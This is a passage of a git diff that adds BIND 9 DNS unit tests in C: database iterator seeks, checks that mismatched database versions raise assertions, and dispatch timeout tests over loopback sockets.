+	test_seek_node(TESTS_DIR "/testdata/dbiterator/zone2.data", 30);
+}
+
+/*
+ * seek_emty: walk database starting at an empty nonterminal node
+ * (should fail)
+ */
+static void
+test_seek_empty(const char *filename) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+	dns_name_t *seekname;
+	dns_fixedname_t f1;
+
+	seekname = dns_fixedname_initname(&f1);
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = make_name("d." TEST_ORIGIN, seekname);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dbiterator_seek(iter, seekname);
+	assert_int_equal(result, DNS_R_PARTIALMATCH);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(seek_empty) {
+	UNUSED(state);
+
+	test_seek_empty(TESTS_DIR "/testdata/dbiterator/zone1.data");
+}
+
+ISC_RUN_TEST_IMPL(seek_empty_nsec3) {
+	UNUSED(state);
+
+	test_seek_empty(TESTS_DIR "/testdata/dbiterator/zone2.data");
+}
+
+/*
+ * seek_nx: walk database starting at a nonexistent node
+ */
+static void
+test_seek_nx(const char *filename) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+	dns_name_t *seekname;
+	dns_fixedname_t f1;
+
+	seekname = dns_fixedname_initname(&f1);
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = make_name("nonexistent." TEST_ORIGIN, seekname);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dbiterator_seek(iter, seekname);
+	assert_int_equal(result, DNS_R_PARTIALMATCH);
+
+	result = make_name("nonexistent.", seekname);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dbiterator_seek(iter, seekname);
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(seek_nx) {
+	UNUSED(state);
+
+	test_seek_nx(TESTS_DIR "/testdata/dbiterator/zone1.data");
+}
+
+ISC_RUN_TEST_IMPL(seek_nx_nsec3) {
+	UNUSED(state);
+
+	test_seek_nx(TESTS_DIR "/testdata/dbiterator/zone2.data");
+}
+
+/*
+ * XXX:
+ * dns_dbiterator API calls that are not yet part of this unit test:
+ *
+ * dns_dbiterator_pause
+ * dns_dbiterator_origin
+ * dns_dbiterator_setcleanmode
+ */
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(create)
+ISC_TEST_ENTRY(create_nsec3)
+ISC_TEST_ENTRY(walk)
+ISC_TEST_ENTRY(walk_nsec3)
+ISC_TEST_ENTRY(reverse)
+ISC_TEST_ENTRY(reverse_nsec3)
+ISC_TEST_ENTRY(seek_node)
+ISC_TEST_ENTRY(seek_node_nsec3)
+ISC_TEST_ENTRY(seek_empty)
+ISC_TEST_ENTRY(seek_empty_nsec3)
+ISC_TEST_ENTRY(seek_nx)
+ISC_TEST_ENTRY(seek_nx_nsec3)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/dbversion_test.c b/tests/dns/dbversion_test.c
new file mode 100644
index 0000000000..002985384b
--- /dev/null
+++ b/tests/dns/dbversion_test.c
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/file.h>
+#include <isc/result.h>
+#include <isc/serial.h>
+#include <isc/stdtime.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dns/db.h>
+#include <dns/nsec3.h>
+#include <dns/rdatalist.h>
+#include <dns/rdataset.h>
+#include <dns/rdatasetiter.h>
+
+#include <tests/dns.h>
+
+static char tempname[11] = "dtXXXXXXXX";
+static dns_db_t *db1 = NULL, *db2 = NULL;
+static dns_dbversion_t *v1 = NULL, *v2 = NULL;
+
+/*
+ * The code below enables us to trap assertion failures for testing
+ * purposes. local_callback() is set as the callback function for
+ * isc_assertion_failed(). It calls mock_assert() so that CMOCKA
+ * will be able to see it, then returns to the calling function via
+ * longjmp() so that the abort() call in isc_assertion_failed() will
+ * never be reached. Use check_assertion() to check for assertions
+ * instead of expect_assert_failure().
+ */
+jmp_buf assertion;
+
+#define check_assertion(function_call)                        \
+	do {                                                  \
+		const int r = setjmp(assertion);              \
+		if (r == 0) {                                 \
+			expect_assert_failure(function_call); \
+		}                                             \
+	} while (false);
+
+static void
+local_callback(const char *file, int line, isc_assertiontype_t type,
+	       const char *cond) {
+	UNUSED(type);
+
+	mock_assert(1, cond, file, line);
+	longjmp(assertion, 1);
+}
+
+static int
+setup_test(void **state) {
+	isc_result_t res;
+
+	UNUSED(state);
+
+	isc_assertion_setcallback(local_callback);
+
+	res = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
+			    dns_rdataclass_in, 0, NULL, &db1);
+	assert_int_equal(res, ISC_R_SUCCESS);
+	dns_db_newversion(db1, &v1);
+	assert_non_null(v1);
+
+	res = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
+			    dns_rdataclass_in, 0, NULL, &db2);
+	assert_int_equal(res, ISC_R_SUCCESS);
+	dns_db_newversion(db2, &v2);
+	assert_non_null(v1);
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	UNUSED(state);
+
+	if (strcmp(tempname, "dtXXXXXXXX") != 0) {
+		unlink(tempname);
+	}
+
+	if (v1 != NULL) {
+		dns_db_closeversion(db1, &v1, false);
+		assert_null(v1);
+	}
+	if (db1 != NULL) {
+		dns_db_detach(&db1);
+		assert_null(db1);
+	}
+
+	if (v2 != NULL) {
+		dns_db_closeversion(db2, &v2, false);
+		assert_null(v2);
+	}
+	if (db2 != NULL) {
+		dns_db_detach(&db2);
+		assert_null(db2);
+	}
+
+	return (0);
+}
+
+/*
+ * Check dns_db_attachversion() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(attachversion) {
+	dns_dbversion_t *v = NULL;
+
+	UNUSED(state);
+
+	dns_db_attachversion(db1, v1, &v);
+	assert_ptr_equal(v, v1);
+	dns_db_closeversion(db1, &v, false);
+	assert_null(v);
+
+	check_assertion(dns_db_attachversion(db1, v2, &v));
+}
+
+/*
+ * Check dns_db_closeversion() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(closeversion) {
+	UNUSED(state);
+
+	assert_non_null(v1);
+	dns_db_closeversion(db1, &v1, false);
+	assert_null(v1);
+
+	check_assertion(dns_db_closeversion(db1, &v2, false));
+}
+
+/*
+ * Check dns_db_find() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(find) {
+	isc_result_t res;
+	dns_rdataset_t rdataset;
+	dns_fixedname_t fixed;
+	dns_name_t *name = NULL;
+
+	UNUSED(state);
+
+	name = dns_fixedname_initname(&fixed);
+
+	dns_rdataset_init(&rdataset);
+	res = dns_db_find(db1, dns_rootname, v1, dns_rdatatype_soa, 0, 0, NULL,
+			  name, &rdataset, NULL);
+	assert_int_equal(res, DNS_R_NXDOMAIN);
+
+	if (dns_rdataset_isassociated(&rdataset)) {
+		dns_rdataset_disassociate(&rdataset);
+	}
+
+	dns_rdataset_init(&rdataset);
+	check_assertion((void)dns_db_find(db1, dns_rootname, v2,
+					  dns_rdatatype_soa, 0, 0, NULL, name,
+					  &rdataset, NULL));
+}
+
+/*
+ * Check dns_db_allrdatasets() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(allrdatasets) {
+	isc_result_t res;
+	dns_dbnode_t *node = NULL;
+	dns_rdatasetiter_t *iterator = NULL;
+
+	UNUSED(state);
+
+	res = dns_db_findnode(db1, dns_rootname, false, &node);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	res = dns_db_allrdatasets(db1, node, v1, 0, 0, &iterator);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	check_assertion(dns_db_allrdatasets(db1, node, v2, 0, 0, &iterator));
+
+	dns_rdatasetiter_destroy(&iterator);
+	assert_null(iterator);
+
+	dns_db_detachnode(db1, &node);
+	assert_null(node);
+}
+
+/*
+ * Check dns_db_findrdataset() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(findrdataset) {
+	isc_result_t res;
+	dns_rdataset_t rdataset;
+	dns_dbnode_t *node = NULL;
+
+	UNUSED(state);
+
+	res = dns_db_findnode(db1, dns_rootname, false, &node);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	dns_rdataset_init(&rdataset);
+	res = dns_db_findrdataset(db1, node, v1, dns_rdatatype_soa, 0, 0,
+				  &rdataset, NULL);
+	assert_int_equal(res, ISC_R_NOTFOUND);
+
+	if (dns_rdataset_isassociated(&rdataset)) {
+		dns_rdataset_disassociate(&rdataset);
+	}
+
+	dns_rdataset_init(&rdataset);
+	check_assertion(dns_db_findrdataset(db1, node, v2, dns_rdatatype_soa, 0,
+					    0, &rdataset, NULL));
+
+	dns_db_detachnode(db1, &node);
+	assert_null(node);
+}
+
+/*
+ * Check dns_db_deleterdataset() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(deleterdataset) {
+	isc_result_t res;
+	dns_dbnode_t *node = NULL;
+
+	UNUSED(state);
+
+	res = dns_db_findnode(db1, dns_rootname, false, &node);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	res = dns_db_deleterdataset(db1, node, v1, dns_rdatatype_soa, 0);
+	assert_int_equal(res, DNS_R_UNCHANGED);
+
+	check_assertion(
+		dns_db_deleterdataset(db1, node, v2, dns_rdatatype_soa, 0));
+	dns_db_detachnode(db1, &node);
+	assert_null(node);
+}
+
+/*
+ * Check dns_db_subtractrdataset() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(subtract) {
+	isc_result_t res;
+	dns_rdataset_t rdataset;
+	dns_rdatalist_t rdatalist;
+	dns_dbnode_t *node = NULL;
+
+	UNUSED(state);
+
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_init(&rdatalist);
+
+	rdatalist.rdclass = dns_rdataclass_in;
+
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+
+	res = dns_db_findnode(db1, dns_rootname, false, &node);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	res = dns_db_subtractrdataset(db1, node, v1, &rdataset, 0, NULL);
+	assert_int_equal(res, DNS_R_UNCHANGED);
+
+	if (dns_rdataset_isassociated(&rdataset)) {
+		dns_rdataset_disassociate(&rdataset);
+	}
+
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+
+	check_assertion(
+		dns_db_subtractrdataset(db1, node, v2, &rdataset, 0, NULL));
+
+	dns_db_detachnode(db1, &node);
+	assert_null(node);
+}
+
+/*
+ * Check dns_db_addrdataset() passes with matching db and version, and
+ * asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(addrdataset) {
+	isc_result_t res;
+	dns_rdataset_t rdataset;
+	dns_dbnode_t *node = NULL;
+	dns_rdatalist_t rdatalist;
+
+	UNUSED(state);
+
+	dns_rdataset_init(&rdataset);
+	dns_rdatalist_init(&rdatalist);
+
+	rdatalist.rdclass = dns_rdataclass_in;
+
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
+
+	res = dns_db_findnode(db1, dns_rootname, false, &node);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	res = dns_db_addrdataset(db1, node, v1, 0, &rdataset, 0, NULL);
+	assert_int_equal(res, ISC_R_SUCCESS);
+
+	check_assertion(
+		dns_db_addrdataset(db1, node, v2, 0, &rdataset, 0, NULL));
+
+	dns_db_detachnode(db1, &node);
+	assert_null(node);
+}
+
+/*
+ * Check dns_db_getnsec3parameters() passes with matching db and version,
+ * and asserts with mis-matching db and version.
+ */
+ISC_RUN_TEST_IMPL(getnsec3parameters) {
+	isc_result_t res;
+	dns_hash_t hash;
+	uint8_t flags;
+	uint16_t iterations;
+	unsigned char salt[DNS_NSEC3_SALTSIZE];
+	size_t salt_length = sizeof(salt);
+
+	UNUSED(state);
+
+	res = dns_db_getnsec3parameters(db1, v1, &hash, &flags, &iterations,
+					salt, &salt_length);
+	assert_int_equal(res, ISC_R_NOTFOUND);
+
+	check_assertion(dns_db_getnsec3parameters(
+		db1, v2, &hash, &flags, &iterations, salt, &salt_length));
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(find, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(allrdatasets, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(findrdataset, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(deleterdataset, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(subtract, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(addrdataset, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(getnsec3parameters, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(attachversion, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(closeversion, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/dispatch_test.c b/tests/dns/dispatch_test.c
new file mode 100644
index 0000000000..0780003bab
--- /dev/null
+++ b/tests/dns/dispatch_test.c
@@ -0,0 +1,671 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/managers.h>
+#include <isc/refcount.h>
+#include <isc/tls.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include <dns/dispatch.h>
+#include <dns/name.h>
+#include <dns/view.h>
+
+#include <tests/dns.h>
+
+/* Timeouts in miliseconds */
+#define T_SERVER_INIT	    5000
+#define T_SERVER_IDLE	    5000
+#define T_SERVER_KEEPALIVE  5000
+#define T_SERVER_ADVERTISED 5000
+
+#define T_CLIENT_INIT	    2000
+#define T_CLIENT_IDLE	    2000
+#define T_CLIENT_KEEPALIVE  2000
+#define T_CLIENT_ADVERTISED 2000
+
+#define T_CLIENT_CONNECT 1000
+
+/* dns_dispatchset_t *dset = NULL; */
+static isc_sockaddr_t udp_server_addr;
+static isc_sockaddr_t udp_connect_addr;
+static isc_sockaddr_t tcp_server_addr;
+static isc_sockaddr_t tcp_connect_addr;
+static isc_sockaddr_t tls_server_addr;
+static isc_sockaddr_t tls_connect_addr;
+
+static isc_tlsctx_cache_t *tls_tlsctx_client_cache = NULL;
+static isc_tlsctx_t *tls_listen_tlsctx = NULL;
+static dns_name_t tls_name;
+static const char *tls_name_str = "ephemeral";
+static dns_transport_t *tls_transport = NULL;
+static dns_transport_list_t *transport_list = NULL;
+
+static dns_dispatchmgr_t *dispatchmgr = NULL;
+static dns_dispatch_t *dispatch = NULL;
+static isc_nmsocket_t *sock = NULL;
+
+static isc_nm_t *connect_nm = NULL;
+
+const struct in6_addr in6addr_blackhole = { { { 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+						0, 0, 0, 0, 1 } } };
+
+struct {
+	uint8_t rbuf[12];
+	isc_region_t region;
+	uint8_t message[12];
+} testdata;
+
+static int
+setup_ephemeral_port(isc_sockaddr_t *addr, sa_family_t family) {
+	socklen_t addrlen = sizeof(*addr);
+	uv_os_sock_t fd;
+	int r;
+
+	isc_sockaddr_fromin6(addr, &in6addr_loopback, 0);
+
+	fd = socket(AF_INET6, family, 0);
+	if (fd < 0) {
+		perror("setup_ephemeral_port: socket()");
+		return (-1);
+	}
+
+	r = bind(fd, (const struct sockaddr *)&addr->type.sa,
+		 sizeof(addr->type.sin6));
+	if (r != 0) {
+		perror("setup_ephemeral_port: bind()");
+		close(fd);
+		return (r);
+	}
+
+	r = getsockname(fd, (struct sockaddr *)&addr->type.sa, &addrlen);
+	if (r != 0) {
+		perror("setup_ephemeral_port: getsockname()");
+		close(fd);
+		return (r);
+	}
+
+#if IPV6_RECVERR
+#define setsockopt_on(socket, level, name) \
+	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
+
+	r = setsockopt_on(fd, IPPROTO_IPV6, IPV6_RECVERR);
+	if (r != 0) {
+		perror("setup_ephemeral_port");
+		close(fd);
+		return (r);
+	}
+#endif
+
+	return (fd);
+}
+
+static int
+setup_test(void **state) {
+	isc_buffer_t namesrc, namebuf;
+	char namedata[DNS_NAME_FORMATSIZE + 1];
+
+	uv_os_sock_t socket = -1;
+
+	setup_loopmgr(state);
+	setup_netmgr(state);
+
+	isc_netmgr_create(mctx, loopmgr, &connect_nm);
+
+	udp_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&udp_connect_addr, &in6addr_loopback, 0);
+
+	tcp_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&tcp_connect_addr, &in6addr_loopback, 0);
+
+	tls_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&tls_connect_addr, &in6addr_loopback, 0);
+
+	udp_server_addr = (isc_sockaddr_t){ .length = 0 };
+	socket = setup_ephemeral_port(&udp_server_addr, SOCK_DGRAM);
+	if (socket < 0) {
+		return (-1);
+	}
+	close(socket);
+
+	tcp_server_addr = (isc_sockaddr_t){ .length = 0 };
+	socket = setup_ephemeral_port(&tcp_server_addr, SOCK_STREAM);
+	if (socket < 0) {
+		return (-1);
+	}
+	close(socket);
+
+	tls_server_addr = (isc_sockaddr_t){ .length = 0 };
+	socket = setup_ephemeral_port(&tls_server_addr, SOCK_STREAM);
+	if (socket < 0) {
+		return (-1);
+	}
+	close(socket);
+
+	isc_nm_settimeouts(netmgr, T_SERVER_INIT, T_SERVER_IDLE,
+			   T_SERVER_KEEPALIVE, T_SERVER_ADVERTISED);
+
+	/*
+	 * Use shorter client-side timeouts, to ensure that clients
+	 * time out before the server.
+	 */
+	isc_nm_settimeouts(connect_nm, T_CLIENT_INIT, T_CLIENT_IDLE,
+			   T_CLIENT_KEEPALIVE, T_CLIENT_ADVERTISED);
+
+	memset(testdata.rbuf, 0, sizeof(testdata.rbuf));
+	testdata.region.base = testdata.rbuf;
+	testdata.region.length = sizeof(testdata.rbuf);
+	memset(testdata.message, 0, sizeof(testdata.message));
+
+	isc_tlsctx_cache_create(mctx, &tls_tlsctx_client_cache);
+
+	if (isc_tlsctx_createserver(NULL, NULL, &tls_listen_tlsctx) !=
+	    ISC_R_SUCCESS)
+	{
+		return (-1);
+	}
+
+	dns_name_init(&tls_name, NULL);
+	isc_buffer_constinit(&namesrc, tls_name_str, strlen(tls_name_str));
+	isc_buffer_add(&namesrc, strlen(tls_name_str));
+	isc_buffer_init(&namebuf, namedata, sizeof(namedata));
+	if (dns_name_fromtext(&tls_name, &namesrc, dns_rootname,
+			      DNS_NAME_DOWNCASE, &namebuf) != ISC_R_SUCCESS)
+	{
+		return (-1);
+	}
+	transport_list = dns_transport_list_new(mctx);
+	tls_transport = dns_transport_new(&tls_name, DNS_TRANSPORT_TLS,
+					  transport_list);
+	dns_transport_set_tlsname(tls_transport, tls_name_str);
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	dns_transport_list_detach(&transport_list);
+	isc_tlsctx_cache_detach(&tls_tlsctx_client_cache);
+	isc_tlsctx_free(&tls_listen_tlsctx);
+
+	isc_netmgr_destroy(&connect_nm);
+
+	teardown_netmgr(state);
+	teardown_loopmgr(state);
+
+	return (0);
+}
+
+static isc_result_t
+make_dispatchset(unsigned int ndisps, dns_dispatchset_t **dsetp) {
+	isc_result_t result;
+	isc_sockaddr_t any;
+	dns_dispatch_t *disp = NULL;
+
+	isc_sockaddr_any(&any);
+	result = dns_dispatch_createudp(dispatchmgr, &any, &disp);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_dispatchset_create(mctx, disp, dsetp, ndisps);
+	dns_dispatch_detach(&disp);
+
+	return (result);
+}
+
+/* create dispatch set */
+ISC_LOOP_TEST_IMPL(dispatchset_create) {
+	dns_dispatchset_t *dset = NULL;
+	isc_result_t result;
+
+	UNUSED(arg);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = make_dispatchset(1, &dset);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchset_destroy(&dset);
+
+	result = make_dispatchset(10, &dset);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchset_destroy(&dset);
+
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* test dispatch set round-robin */
+ISC_LOOP_TEST_IMPL(dispatchset_get) {
+	isc_result_t result;
+	dns_dispatchset_t *dset = NULL;
+	dns_dispatch_t *d1, *d2, *d3, *d4, *d5;
+
+	UNUSED(arg);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = make_dispatchset(1, &dset);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	d1 = dns_dispatchset_get(dset);
+	d2 = dns_dispatchset_get(dset);
+	d3 = dns_dispatchset_get(dset);
+	d4 = dns_dispatchset_get(dset);
+	d5 = dns_dispatchset_get(dset);
+
+	assert_ptr_equal(d1, d2);
+	assert_ptr_equal(d2, d3);
+	assert_ptr_equal(d3, d4);
+	assert_ptr_equal(d4, d5);
+
+	dns_dispatchset_destroy(&dset);
+
+	result = make_dispatchset(4, &dset);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	d1 = dns_dispatchset_get(dset);
+	d2 = dns_dispatchset_get(dset);
+	d3 = dns_dispatchset_get(dset);
+	d4 = dns_dispatchset_get(dset);
+	d5 = dns_dispatchset_get(dset);
+
+	assert_ptr_equal(d1, d5);
+	assert_ptr_not_equal(d1, d2);
+	assert_ptr_not_equal(d2, d3);
+	assert_ptr_not_equal(d3, d4);
+	assert_ptr_not_equal(d4, d5);
+
+	dns_dispatchset_destroy(&dset);
+	dns_dispatchmgr_detach(&dispatchmgr);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static dns_dispentry_t *dispentry = NULL;
+static atomic_bool first = true;
+
+static void
+server_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(eresult);
+	UNUSED(cbarg);
+
+	return;
+}
+
+static void
+nameserver(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	   void *cbarg ISC_ATTR_UNUSED) {
+	isc_region_t response1, response2;
+	static unsigned char buf1[16];
+	static unsigned char buf2[16];
+
+	if (eresult != ISC_R_SUCCESS) {
+		return;
+	}
+
+	memmove(buf1, region->base, 12);
+	memset(buf1 + 12, 0, 4);
+	buf1[2] |= 0x80; /* qr=1 */
+
+	memmove(buf2, region->base, 12);
+	memset(buf2 + 12, 1, 4);
+	buf2[2] |= 0x80; /* qr=1 */
+
+	/*
+	 * send message to be discarded.
+	 */
+	response1.base = buf1;
+	response1.length = sizeof(buf1);
+	isc_nm_send(handle, &response1, server_senddone, NULL);
+
+	/*
+	 * send nextitem message.
+	 */
+	response2.base = buf2;
+	response2.length = sizeof(buf2);
+	isc_nm_send(handle, &response2, server_senddone, NULL);
+}
+
+static isc_result_t
+accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(cbarg);
+
+	return (eresult);
+}
+
+static void
+noop_nameserver(isc_nmhandle_t *handle, isc_result_t eresult,
+		isc_region_t *region, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(eresult);
+	UNUSED(region);
+	UNUSED(cbarg);
+}
+
+static void
+response_getnext(isc_result_t result, isc_region_t *region, void *arg) {
+	UNUSED(region);
+	UNUSED(arg);
+
+	if (atomic_compare_exchange_strong(&first, &(bool){ true }, false)) {
+		result = dns_dispatch_getnext(dispentry);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	} else {
+		dns_dispatch_done(&dispentry);
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+static void
+response(isc_result_t eresult, isc_region_t *region, void *arg) {
+	UNUSED(region);
+	UNUSED(arg);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	dns_dispatch_done(&dispentry);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+response_timeout(isc_result_t eresult, isc_region_t *region, void *arg) {
+	UNUSED(region);
+	UNUSED(arg);
+
+	assert_int_equal(eresult, ISC_R_TIMEDOUT);
+
+	dns_dispatch_done(&dispentry);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+connected(isc_result_t eresult, isc_region_t *region, void *cbarg) {
+	isc_region_t *r = (isc_region_t *)cbarg;
+
+	UNUSED(eresult);
+	UNUSED(region);
+
+	dns_dispatch_send(dispentry, r);
+}
+
+static void
+client_senddone(isc_result_t eresult, isc_region_t *region, void *cbarg) {
+	UNUSED(eresult);
+	UNUSED(region);
+	UNUSED(cbarg);
+}
+
+static void
+timeout_connected(isc_result_t eresult, isc_region_t *region, void *cbarg) {
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	if (eresult == ISC_R_ADDRNOTAVAIL || eresult == ISC_R_CONNREFUSED) {
+		/* FIXME: Skip */
+	} else {
+		assert_int_equal(eresult, ISC_R_TIMEDOUT);
+	}
+
+	dns_dispatch_done(&dispentry);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(dispatch_timeout_tcp_connect) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Client */
+	tcp_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&tcp_connect_addr, &in6addr_blackhole, 0);
+
+	testdata.region.base = testdata.message;
+	testdata.region.length = sizeof(testdata.message);
+
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dispatch_createtcp(dispatchmgr, &tcp_connect_addr,
+					&tcp_server_addr, &dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(dispatch, isc_loop_main(loopmgr), 0,
+				  T_CLIENT_CONNECT, &tcp_server_addr, NULL,
+				  NULL, timeout_connected, client_senddone,
+				  response_timeout, &testdata.region, &id,
+				  &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	testdata.message[0] = (id >> 8) & 0xff;
+	testdata.message[1] = id & 0xff;
+
+	dns_dispatch_connect(dispentry);
+}
+
+static void
+stop_listening(void *arg) {
+	UNUSED(arg);
+
+	isc_nm_stoplistening(sock);
+	isc_nmsocket_close(&sock);
+	assert_null(sock);
+}
+
+ISC_LOOP_TEST_IMPL(dispatch_timeout_tcp_response) {
+	isc_result_t result;
+	uint16_t id;
+
+	/* Server */
+	result = isc_nm_listenstreamdns(netmgr, ISC_NM_LISTEN_ONE,
+					&tcp_server_addr, noop_nameserver, NULL,
+					accept_cb, NULL, 0, NULL, NULL, &sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/* ensure we stop listening after the test is done */
+	isc_loop_teardown(isc_loop_main(loopmgr), stop_listening, sock);
+
+	/* Client */
+	result = dns_dispatchmgr_create(mctx, connect_nm, &dispatchmgr);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dispatch_createtcp(dispatchmgr, &tcp_connect_addr,
+					&tcp_server_addr, &dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	result = dns_dispatch_add(
+		dispatch, isc_loop_main(loopmgr), 0, T_CLIENT_CONNECT,
+		&tcp_server_addr, NULL, NULL, connected, client_senddone,
+		response_timeout, &testdata.region, &id, &dispentry);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_dispatch_detach(&dispatch);
+
+	dns_dispatch_connect(dispentry);
